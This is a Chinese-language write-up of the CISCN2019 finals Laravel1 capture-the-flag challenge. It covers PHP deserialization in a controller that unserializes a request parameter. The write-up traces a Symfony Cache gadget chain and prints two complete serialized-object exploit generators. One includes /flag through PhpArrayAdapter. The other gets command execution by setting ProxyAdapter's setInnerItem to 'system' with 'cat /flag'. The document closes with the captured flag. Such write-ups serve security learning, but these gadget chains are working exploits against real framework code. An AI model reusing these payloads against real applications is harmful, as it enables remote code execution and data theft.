[CISCN2019 总决赛 Day1 Web4]Laravel1
源码
<?php
//backup in source.tar.gz
namespace App\Http\Controllers;
class IndexController extends Controller
{
public function index(\Illuminate\Http\Request $request){
$payload=$request->input("payload");
if(empty($payload)){
highlight_file(__FILE__);
}else{
@unserialize($payload);
}
}
}
开审链子
全局搜索__destruct
一堆,但是我们可以百度搜wp(滑稽)在TagAwareAdapter
参考链接:https://xz.aliyun.com/t/5816#toc-0
public function __destruct()
{
$this->commit();
}
进入commit
public function commit()
{
return $this->invalidateTags([]);
}
进入invalidateTags
public function invalidateTags(array $tags)
{
$ok = true;
$tagsByKey = [];
$invalidatedTags = [];
foreach ($tags as $tag) {
CacheItem::validateKey($tag);
$invalidatedTags[$tag] = 0;
}
if ($this->deferred) {
$items = $this->deferred;
foreach ($items as $key => $item) {
if (!$this->pool->saveDeferred($item)) {
unset($this->deferred[$key]);
$ok = false;
}
}
$f = $this->getTagsByKey;
$tagsByKey = $f($items);
$this->deferred = [];
}
$tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags);
$f = $this->createCacheItem;
foreach ($tagsByKey as $key => $tags) {
$this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key]));
}
$ok = $this->pool->commit() && $ok;
if ($invalidatedTags) {
$f = $this->invalidateTags;
$ok = $f($this->tags, $invalidatedTags) && $ok;
}
return $ok;
}
康康saveDeferred
有4个重载,网上说可利用只有这个
public function saveDeferred(CacheItemInterface $item)
{
if (null === $this->values) {
$this->initialize();
}
return !isset($this->keys[$item->getKey()]) && $this->pool->saveDeferred($item);
}
类中没有values,应该为空,进入initialize(),但是当前类没有这个方法,去父类找,先生成类图
在PhpArrayTrait找到利用点
private function initialize()
{
if (!file_exists($this->file)) {
$this->keys = $this->values = [];
return;
}
$values = (include $this->file) ?: [[], []];
if (2 !== \count($values) || !isset($values[0], $values[1])) {
$this->keys = $this->values = [];
} else {
list($this->keys, $this->values) = $values;
}
}
整理一下:
TagAwareAdapter->__destruct->commit->invalidateTags
设置TagAwareAdapter->deferred = array('maxzed' => new CacheItem());
pool = new PhpArrayAdapter();
就能进入PhpArrayAdapter->saveDeferred
然后进入PhpArrayTrait->initialize
设置PhpArrayTrait->file为/flag
include即可得到/flag
最终payload
<?php
namespace Symfony\Component\Cache{
final class CacheItem{
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file='/flag';
}
class TagAwareAdapter{
private $deferred;
private $pool;
public function __construct(){
$this->deferred = array('xxx' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
$a=new TagAwareAdapter();
echo urlencode(serialize($a));
}
网上还找到第二条RCE链
前面步骤一样,但是没有用PhpArrayAdapter->saveDeferred
而是用ProxyAdapter->saveDeferred
public function saveDeferred(CacheItemInterface $item)
{
return $this->doSave($item, __FUNCTION__);
}
进入doSave
private function doSave(CacheItemInterface $item, $method)
{
if (!$item instanceof CacheItem) {
return false;
}
$item = (array) $item;
if (null === $item["\0*\0expiry"] && 0 < $item["\0*\0defaultLifetime"]) {
$item["\0*\0expiry"] = microtime(true) + $item["\0*\0defaultLifetime"];
}
if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) {
$innerItem = $item["\0*\0innerItem"];
} elseif ($this->pool instanceof AdapterInterface) {
// this is an optimization specific for AdapterInterface implementations
// so we can save a round-trip to the backend by just creating a new item
$f = $this->createCacheItem;
$innerItem = $f($this->namespace.$item["\0*\0key"], null);
} else {
$innerItem = $this->pool->getItem($this->namespace.$item["\0*\0key"]);
}
($this->setInnerItem)($innerItem, $item);
return $this->pool->$method($innerItem);
}
其中,item为CacheItem类,对象转数组,会将属性名作为键,值作为值。
这样,就会进入第三个if,将ProxyAdapter->innerItem设置为CacheItem的innerItem
然后ProxyAdapter->setInnerItem可控
于是就ok了
将ProxyAdapter->setInnerItem=system
CacheItem->InnerItem=cat /flag
就造成代码执行
另外一个payload:
<?php
namespace Symfony\Component\Cache\Adapter;
class TagAwareAdapter{
public $deferred = array();
function __construct($x){
$this->pool = $x;
}
}
class ProxyAdapter{
protected $setInnerItem = 'system';
}
namespace Symfony\Component\Cache;
class CacheItem{
protected $innerItem = 'cat /flag';
}
$a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter(new \Symfony\Component\Cache\Adapter\ProxyAdapter());
$a->deferred = array('aa'=>new \Symfony\Component\Cache\CacheItem);
echo urlencode(serialize($a));
flag{a057e52f-8739-4943-88bc-82b4fdc4fedc}